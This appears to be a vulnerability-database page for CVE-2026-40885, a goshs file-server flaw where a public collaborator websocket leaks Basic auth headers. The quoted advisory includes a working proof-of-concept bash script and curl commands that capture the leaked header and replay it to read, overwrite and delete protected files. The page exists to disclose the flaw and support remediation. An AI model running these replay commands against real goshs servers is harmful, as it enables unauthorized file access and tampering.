CVE-2026-40885: Github.com/patrickhener/goshs/v2 Goshs's Public Collaborator Feed Leaks Vulnerability

HIGH
Advisory Identifier: GHSA-7h3j-592v-jcrp
CVSS 8.8
CWE-200
Published
Advisory Summary

CVE-2026-40885 is a HIGH (CVSS 8.8) goshs's public collaborator feed leaks vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Github.com/patrickhener/goshs/v2 libraries in the Go ecosystem. The issue involves goshs's public collaborator feed leaks .goshs acl credentials and enables unauthorized access. Remediation is available by upgrading affected packages to version 2.0.0-beta.6.

CVE-2026-40885 at a Glance

CVE Identifier CVE-2026-40885
GHSA Identifier GHSA-7h3j-592v-jcrp
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product Github.com/patrickhener/goshs/v2
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-40885

To remediate this vulnerability, upgrade all affected Github.com/patrickhener/goshs/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/patrickhener/goshs/v2 fixed: 2.0.0-beta.6
Upgrade github.com/patrickhener/goshs/v2 to 2.0.0-beta.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/patrickhener/goshs/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40885, inspect your project dependencies for Github.com/patrickhener/goshs/v2:

inspect dependencies for github.com/patrickhener/goshs/v2

Analyze the terminal output to locate any version of Github.com/patrickhener/goshs/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.0-beta.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Github.com/patrickhener/goshs/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to `.goshs`-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including `Authorization`. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. I reproduced this on `v2.0.0-beta.5`, the latest supported release as of April 10, 2026. ### Details The main web UI and collaborator websocket stay public when goshs is started without global `-b user:pass` authentication: - `httpserver/server.go:72-85` only installs `BasicAuthMiddleware()` when a global username or password is configured The vulnerable request is logged before `.goshs` authorization is enforced: - `httpserver/handler.go:277-279` calls `emitCollabEvent()` and `logger.LogRequest()` before the protected file is passed into ACL enforcement - `httpserver/handler.go:291-309` performs folder-level `.goshs` authentication later in `applyCustomAuth()` The collaborator pipeline copies and broadcasts every request header: - `httpserver/collaborator.go:22-46` flattens all request headers, including `Authorization`, into the websocket event and sends them to the hub - `ws/hub.go:77-84` fans the event out live to all connected websocket clients - `ws/hub.go:116-122` replays up to 200 prior HTTP events to newly connected websocket clients via catchup The frontend also makes the leak easier to understand by decoding authorization values: - `assets/js/main.js:627-645` formats and decodes the `Authorization` header for display in the collaborator panel In practice, a victim request such as: ```http GET /ACLAuth/secret.txt Authorization: Basic YWRtaW46YWRtaW4= ``` is visible to any public websocket observer before the protected file's ACL check is enforced. The attacker can then replay the leaked header against the same protected folder and gain the victim's effective access. ### PoC Manual verification commands used: `Terminal 1` ```bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5' go build -o /tmp/goshs_beta5 ./ rm -rf /tmp/goshs_collab_root mkdir -p /tmp/goshs_collab_root/ACLAuth cp integration/keepFiles/goshsACLAuth /tmp/goshs_collab_root/ACLAuth/.goshs printf 'very secret\n' > /tmp/goshs_collab_root/ACLAuth/secret.txt /tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096 ``` `Terminal 2` ```bash node - <<'NODE' const ws = new WebSocket('ws://127.0.0.1:18096/?ws'); ws.onmessage = (ev) => console.log(ev.data.toString()); NODE ``` `Terminal 3` ```bash curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt curl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -X PUT --data-binary 'owned' http://127.0.0.1:18096/ACLAuth/pwn.txt curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' 'http://127.0.0.1:18096/ACLAuth/secret.txt?delete' ``` Two terminal commands I ran during local validation: ```bash curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt ``` Observed results from manual verification: - the anonymous request returned `401` - the victim request returned `very secret` - the replayed leaked header also returned `very secret` - the replayed `PUT` returned `200` - the replayed `?delete` returned `200` - the public websocket showed `Authorization":"Basic YWRtaW46YWRtaW4="` PoC Video 1: https://github.com/user-attachments/assets/1347838e-28a0-4c9f-be9f-db7e2938c752 Single-script verification: ```bash '/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc4' ``` Observed script result: - `Captured header: Basic YWRtaW46YWRtaW4=` - `Anonymous GET status: 401` - `Replayed-header GET body: very secret` - `Replayed-header PUT status: 200` - `Replayed-header delete status: 200` - `[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree` PoC Video 2: https://github.com/user-attachments/assets/b25648a9-b96c-46b3-9ee4-0ae4cc1c3472 `gosh_poc4` script content: ```bash #!/usr/bin/env bash set -euo pipefail REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5' FIXTURE='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5/integration/keepFiles/goshsACLAuth' BIN='/tmp/goshs_beta5_collab_leak' PORT='18096' WORKDIR="$(mktemp -d /tmp/goshs-collab-beta5-XXXXXX)" ROOT="$WORKDIR/root" WS_LOG="$WORKDIR/ws.log" GOSHS_PID="" WATCH_PID="" cleanup() { if [[ -n "${WATCH_PID:-}" ]]; then kill "${WATCH_PID}" >/dev/null 2>&1 || true wait "${WATCH_PID}" 2>/dev/null || true fi if [[ -n "${GOSHS_PID:-}" ]]; then kill "${GOSHS_PID}" >/dev/null 2>&1 || true wait "${GOSHS_PID}" 2>/dev/null || true fi } trap cleanup EXIT mkdir -p "${ROOT}/ACLAuth" cp "${FIXTURE}" "${ROOT}/ACLAuth/.goshs" printf 'very secret\n' > "${ROOT}/ACLAuth/secret.txt" echo "[1/6] Building goshs beta.5" (cd "${REPO}" && go build -o "${BIN}" ./) echo "[2/6] Starting goshs without global auth on 127.0.0.1:${PORT}" "${BIN}" -d "${ROOT}" -p "${PORT}" >"${WORKDIR}/goshs.log" 2>&1 & GOSHS_PID=$! for _ in $(seq 1 40); do if curl -s "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then break fi sleep 0.25 done echo "[3/6] Opening an unauthenticated websocket observer" node - <<'NODE' >"${WS_LOG}" & const ws = new WebSocket('ws://127.0.0.1:18096/?ws'); ws.onopen = () => console.log('OPEN'); ws.onmessage = (ev) => { const msg = ev.data.toString(); console.log(msg); if (msg.includes('Authorization')) process.exit(0); }; setTimeout(() => process.exit(0), 10000); NODE WATCH_PID=$! echo "[4/6] Simulating a victim request with folder credentials" curl -s -u admin:admin "http://127.0.0.1:${PORT}/ACLAuth/secret.txt" >/dev/null wait "${WATCH_PID}" || true WATCH_PID="" LEAKED_HEADER="$(python3 - "${WS_LOG}" <<'PY' import pathlib import re import sys text = pathlib.Path(sys.argv[1]).read_text() m = re.search(r'Basic [A-Za-z0-9+/=]+', text) print(m.group(0) if m else '') PY )" if [[ -z "${LEAKED_HEADER}" ]]; then echo "[ERROR] No leaked Authorization header was captured." >&2 echo "[DEBUG] Websocket output:" >&2 cat "${WS_LOG}" >&2 exit 1 fi echo "[5/6] Replaying the leaked header as the attacker" UNAUTH_CODE="$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${PORT}/ACLAuth/secret.txt")" READ_BACK="$(curl -s -H "Authorization: ${LEAKED_HEADER}" "http://127.0.0.1:${PORT}/ACLAuth/secret.txt")" PUT_CODE="$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: ${LEAKED_HEADER}" -X PUT --data-binary 'owned' "http://127.0.0.1:${PORT}/ACLAuth/pwn.txt")" DELETE_CODE="$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: ${LEAKED_HEADER}" "http://127.0.0.1:${PORT}/ACLAuth/secret.txt?delete")" if [[ "${UNAUTH_CODE}" != "401" ]]; then echo "[ERROR] Expected anonymous direct access to fail with 401, got ${UNAUTH_CODE}." >&2 exit 1 fi if [[ "${READ_BACK}" != "very secret" ]]; then echo "[ERROR] Replayed header did not unlock the protected file." >&2 exit 1 fi if [[ "${PUT_CODE}" != "200" ]]; then echo "[ERROR] Expected replayed-header PUT to return 200, got ${PUT_CODE}." >&2 exit 1 fi if [[ "${DELETE_CODE}" != "200" ]]; then echo "[ERROR] Expected replayed-header delete to return 200, got ${DELETE_CODE}." >&2 exit 1 fi if [[ ! -f "${ROOT}/ACLAuth/pwn.txt" ]]; then echo "[ERROR] PUT did not create pwn.txt." >&2 exit 1 fi if [[ -f "${ROOT}/ACLAuth/secret.txt" ]]; then echo "[ERROR] Delete did not remove secret.txt." >&2 exit 1 fi echo "[6/6] Results" echo "Captured header: ${LEAKED_HEADER}" echo "Anonymous GET status: ${UNAUTH_CODE}" echo "Replayed-header GET body: ${READ_BACK}" echo "Replayed-header PUT status: ${PUT_CODE}" echo "Replayed-header delete status: ${DELETE_CODE}" echo "[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree" ``` ### Impact This issue is a sensitive information disclosure that becomes an authentication bypass against `.goshs`-protected content. Any unauthenticated observer who can access the public collaborator websocket can steal folder-level basic-auth credentials from a victim request and immediately reuse them to read, upload, overwrite, or delete files inside the protected subtree. Deployments that rely on public goshs access with selective `.goshs`-protected subfolders are directly exposed. ### Remediation Suggested fixes: 1. Never store or broadcast sensitive headers such as `Authorization`, `Cookie`, or `Proxy-Authorization` in collaborator events. 2. Move collaborator logging until after access-control checks, and log only minimal metadata instead of raw headers and bodies. 3. Protect the collaborator websocket and panel with the same or stronger authentication boundary as the resources being observed.

CVE-2026-40885 Affected Github.com/patrickhener/goshs/v2 Versions

1 component(s)
Fixed Versions:
2.0.0-beta.6
Product / Package Ecosystem Affected Versions Fixed Version
github.com/patrickhener/goshs/v2
Go
≥ 2.0.0-beta.4
< 2.0.0-beta.6
2.0.0-beta.6

References

Frequently Asked Questions

What is CVE-2026-40885?
CVE-2026-40885 is a security vulnerability in Github.com/patrickhener/goshs/v2 involving goshs's public collaborator feed leaks .goshs ACL credentials and enables unauthorized access under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which Github.com/patrickhener/goshs/v2 versions are affected?
Affected versions include releases prior to 2.0.0-beta.6 across affected packages: github.com/patrickhener/goshs/v2.
What version fixes CVE-2026-40885?
Upgrading to 2.0.0-beta.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/patrickhener/goshs/v2 affected?
Yes, github.com/patrickhener/goshs/v2 is affected in releases prior to 2.0.0-beta.6. Upgrade your dependency to 2.0.0-beta.6 or later.
What is the CVSS score of CVE-2026-40885?
CVE-2026-40885 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-40885?
CVE-2026-40885 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check Go dependencies for CVE-2026-40885?
Run the dependency tree command: 'inspect dependencies for github.com/patrickhener/goshs/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7h3j-592v-jcrp",
  "modified" : "2026-04-27T18:09:55Z",
  "published" : "2026-04-14T22:28:54Z",
  "aliases" : [ "CVE-2026-40885" ],
  "summary" : "goshs's public collaborator feed leaks .goshs ACL credentials and enables unauthorized access",
  "details" : "### Summary\ngoshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to `.goshs`-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including `Authorization`. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. I reproduced this on `v2.0.0-beta.5`, the latest supported release as of April 10, 2026.\n\n### Details\nThe main web UI and collaborator websocket stay public when goshs is started without global `-b user:pass` authentication:\n\n- `httpserver/server.go:72-85` only installs `BasicAuthMiddleware()` when a global username or password is configured\n\nThe vulnerable request is logged before `.goshs` authorization is enforced:\n\n- `httpserver/handler.go:277-279` calls `emitCollabEvent()` and `logger.LogRequest()` before the protected file is passed into ACL enforcement\n- `httpserver/handler.go:291-309` performs folder-level `.goshs` authentication later in `applyCustomAuth()`\n\nThe collaborator pipeline copies and broadcasts every request header:\n\n- `httpserver/collaborator.go:22-46` flattens all request headers, including `Authorization`, into the websocket event and sends them to the hub\n- `ws/hub.go:77-84` fans the event out live to all connected websocket clients\n- `ws/hub.go:116-122` replays up to 200 prior HTTP events to newly connected websocket clients via catchup\n\nThe frontend also makes the leak easier to understand by decoding authorization values:\n\n- `assets/js/main.js:627-645` formats and decodes the `Authorization` header for display in the collaborator panel\n\nIn practice, a victim request such as:\n\n```http\nGET /ACLAuth/secret.txt\nAuthorization: Basic YWRtaW46YWRtaW4=\n```\n\nis visible to any public websocket observer before the protected file's ACL check is enforced. The attacker can then replay the leaked header against the same protected folder and gain the victim's effective access.\n\n### PoC\nManual verification commands used:\n\n`Terminal 1`\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'\ngo build -o /tmp/goshs_beta5 ./\n\nrm -rf /tmp/goshs_collab_root\nmkdir -p /tmp/goshs_collab_root/ACLAuth\ncp integration/keepFiles/goshsACLAuth /tmp/goshs_collab_root/ACLAuth/.goshs\nprintf 'very secret\\n' > /tmp/goshs_collab_root/ACLAuth/secret.txt\n\n/tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096\n```\n\n`Terminal 2`\n\n```bash\nnode - <<'NODE'\nconst ws = new WebSocket('ws://127.0.0.1:18096/?ws');\nws.onmessage = (ev) => console.log(ev.data.toString());\nNODE\n```\n\n`Terminal 3`\n\n```bash\ncurl -s -o /dev/null -w '%{http_code}\\n' http://127.0.0.1:18096/ACLAuth/secret.txt\ncurl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt\ncurl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt\ncurl -s -o /dev/null -w '%{http_code}\\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -X PUT --data-binary 'owned' http://127.0.0.1:18096/ACLAuth/pwn.txt\ncurl -s -o /dev/null -w '%{http_code}\\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' 'http://127.0.0.1:18096/ACLAuth/secret.txt?delete'\n```\n\nTwo terminal commands I ran during local validation:\n\n```bash\ncurl -s -o /dev/null -w '%{http_code}\\n' http://127.0.0.1:18096/ACLAuth/secret.txt\ncurl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt\n```\n\nObserved results from manual verification:\n\n- the anonymous request returned `401`\n- the victim request returned `very secret`\n- the replayed leaked header also returned `very secret`\n- the replayed `PUT` returned `200`\n- the replayed `?delete` returned `200`\n- the public websocket showed `Authorization\":\"Basic YWRtaW46YWRtaW4=\"`\n\nPoC Video 1:\n\nhttps://github.com/user-attachments/assets/1347838e-28a0-4c9f-be9f-db7e2938c752\n\n\n\nSingle-script verification:\n\n```bash\n'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc4'\n```\n\nObserved script result:\n\n- `Captured header: Basic YWRtaW46YWRtaW4=`\n- `Anonymous GET status: 401`\n- `Replayed-header GET body: very secret`\n- `Replayed-header PUT status: 200`\n- `Replayed-header delete status: 200`\n- `[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree`\n\nPoC Video 2:\n\nhttps://github.com/user-attachments/assets/b25648a9-b96c-46b3-9ee4-0ae4cc1c3472\n\n\n\n`gosh_poc4` script content:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nREPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'\nFIXTURE='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5/integration/keepFiles/goshsACLAuth'\nBIN='/tmp/goshs_beta5_collab_leak'\nPORT='18096'\nWORKDIR=\"$(mktemp -d /tmp/goshs-collab-beta5-XXXXXX)\"\nROOT=\"$WORKDIR/root\"\nWS_LOG=\"$WORKDIR/ws.log\"\nGOSHS_PID=\"\"\nWATCH_PID=\"\"\n\ncleanup() {\n  if [[ -n \"${WATCH_PID:-}\" ]]; then\n    kill \"${WATCH_PID}\" >/dev/null 2>&1 || true\n    wait \"${WATCH_PID}\" 2>/dev/null || true\n  fi\n  if [[ -n \"${GOSHS_PID:-}\" ]]; then\n    kill \"${GOSHS_PID}\" >/dev/null 2>&1 || true\n    wait \"${GOSHS_PID}\" 2>/dev/null || true\n  fi\n}\ntrap cleanup EXIT\n\nmkdir -p \"${ROOT}/ACLAuth\"\ncp \"${FIXTURE}\" \"${ROOT}/ACLAuth/.goshs\"\nprintf 'very secret\\n' > \"${ROOT}/ACLAuth/secret.txt\"\n\necho \"[1/6] Building goshs beta.5\"\n(cd \"${REPO}\" && go build -o \"${BIN}\" ./)\n\necho \"[2/6] Starting goshs without global auth on 127.0.0.1:${PORT}\"\n\"${BIN}\" -d \"${ROOT}\" -p \"${PORT}\" >\"${WORKDIR}/goshs.log\" 2>&1 &\nGOSHS_PID=$!\n\nfor _ in $(seq 1 40); do\n  if curl -s \"http://127.0.0.1:${PORT}/\" >/dev/null 2>&1; then\n    break\n  fi\n  sleep 0.25\ndone\n\necho \"[3/6] Opening an unauthenticated websocket observer\"\nnode - <<'NODE' >\"${WS_LOG}\" &\nconst ws = new WebSocket('ws://127.0.0.1:18096/?ws');\nws.onopen = () => console.log('OPEN');\nws.onmessage = (ev) => {\n  const msg = ev.data.toString();\n  console.log(msg);\n  if (msg.includes('Authorization')) process.exit(0);\n};\nsetTimeout(() => process.exit(0), 10000);\nNODE\nWATCH_PID=$!\n\necho \"[4/6] Simulating a victim request with folder credentials\"\ncurl -s -u admin:admin \"http://127.0.0.1:${PORT}/ACLAuth/secret.txt\" >/dev/null\nwait \"${WATCH_PID}\" || true\nWATCH_PID=\"\"\n\nLEAKED_HEADER=\"$(python3 - \"${WS_LOG}\" <<'PY'\nimport pathlib\nimport re\nimport sys\n\ntext = pathlib.Path(sys.argv[1]).read_text()\nm = re.search(r'Basic [A-Za-z0-9+/=]+', text)\nprint(m.group(0) if m else '')\nPY\n)\"\n\nif [[ -z \"${LEAKED_HEADER}\" ]]; then\n  echo \"[ERROR] No leaked Authorization header was captured.\" >&2\n  echo \"[DEBUG] Websocket output:\" >&2\n  cat \"${WS_LOG}\" >&2\n  exit 1\nfi\n\necho \"[5/6] Replaying the leaked header as the attacker\"\nUNAUTH_CODE=\"$(curl -s -o /dev/null -w '%{http_code}' \"http://127.0.0.1:${PORT}/ACLAuth/secret.txt\")\"\nREAD_BACK=\"$(curl -s -H \"Authorization: ${LEAKED_HEADER}\" \"http://127.0.0.1:${PORT}/ACLAuth/secret.txt\")\"\nPUT_CODE=\"$(curl -s -o /dev/null -w '%{http_code}' -H \"Authorization: ${LEAKED_HEADER}\" -X PUT --data-binary 'owned' \"http://127.0.0.1:${PORT}/ACLAuth/pwn.txt\")\"\nDELETE_CODE=\"$(curl -s -o /dev/null -w '%{http_code}' -H \"Authorization: ${LEAKED_HEADER}\" \"http://127.0.0.1:${PORT}/ACLAuth/secret.txt?delete\")\"\n\nif [[ \"${UNAUTH_CODE}\" != \"401\" ]]; then\n  echo \"[ERROR] Expected anonymous direct access to fail with 401, got ${UNAUTH_CODE}.\" >&2\n  exit 1\nfi\n\nif [[ \"${READ_BACK}\" != \"very secret\" ]]; then\n  echo \"[ERROR] Replayed header did not unlock the protected file.\" >&2\n  exit 1\nfi\n\nif [[ \"${PUT_CODE}\" != \"200\" ]]; then\n  echo \"[ERROR] Expected replayed-header PUT to return 200, got ${PUT_CODE}.\" >&2\n  exit 1\nfi\n\nif [[ \"${DELETE_CODE}\" != \"200\" ]]; then\n  echo \"[ERROR] Expected replayed-header delete to return 200, got ${DELETE_CODE}.\" >&2\n  exit 1\nfi\n\nif [[ ! -f \"${ROOT}/ACLAuth/pwn.txt\" ]]; then\n  echo \"[ERROR] PUT did not create pwn.txt.\" >&2\n  exit 1\nfi\n\nif [[ -f \"${ROOT}/ACLAuth/secret.txt\" ]]; then\n  echo \"[ERROR] Delete did not remove secret.txt.\" >&2\n  exit 1\nfi\n\necho \"[6/6] Results\"\necho \"Captured header: ${LEAKED_HEADER}\"\necho \"Anonymous GET status: ${UNAUTH_CODE}\"\necho \"Replayed-header GET body: ${READ_BACK}\"\necho \"Replayed-header PUT status: ${PUT_CODE}\"\necho \"Replayed-header delete status: ${DELETE_CODE}\"\necho \"[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree\"\n```\n\n### Impact\nThis issue is a sensitive information disclosure that becomes an authentication bypass against `.goshs`-protected content. Any unauthenticated observer who can access the public collaborator websocket can steal folder-level basic-auth credentials from a victim request and immediately reuse them to read, upload, overwrite, or delete files inside the protected subtree. Deployments that rely on public goshs access with selective `.goshs`-protected subfolders are directly exposed.\n\n### Remediation\nSuggested fixes:\n\n1. Never store or broadcast sensitive headers such as `Authorization`, `Cookie`, or `Proxy-Authorization` in collaborator events.\n2. Move collaborator logging until after access-control checks, and log only minimal metadata instead of raw headers and bodies.\n3. Protect the collaborator websocket and panel with the same or stronger authentication boundary as the resources being observed.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/patrickhener/goshs/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0-beta.4"
      }, {
        "fixed" : "2.0.0-beta.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.0-beta.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patrickhener/goshs/security/advisories/GHSA-7h3j-592v-jcrp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40885"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patrickhener/goshs"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T22:28:54Z",
    "nvd_published_at" : "2026-04-21T20:17:02Z"
  }
}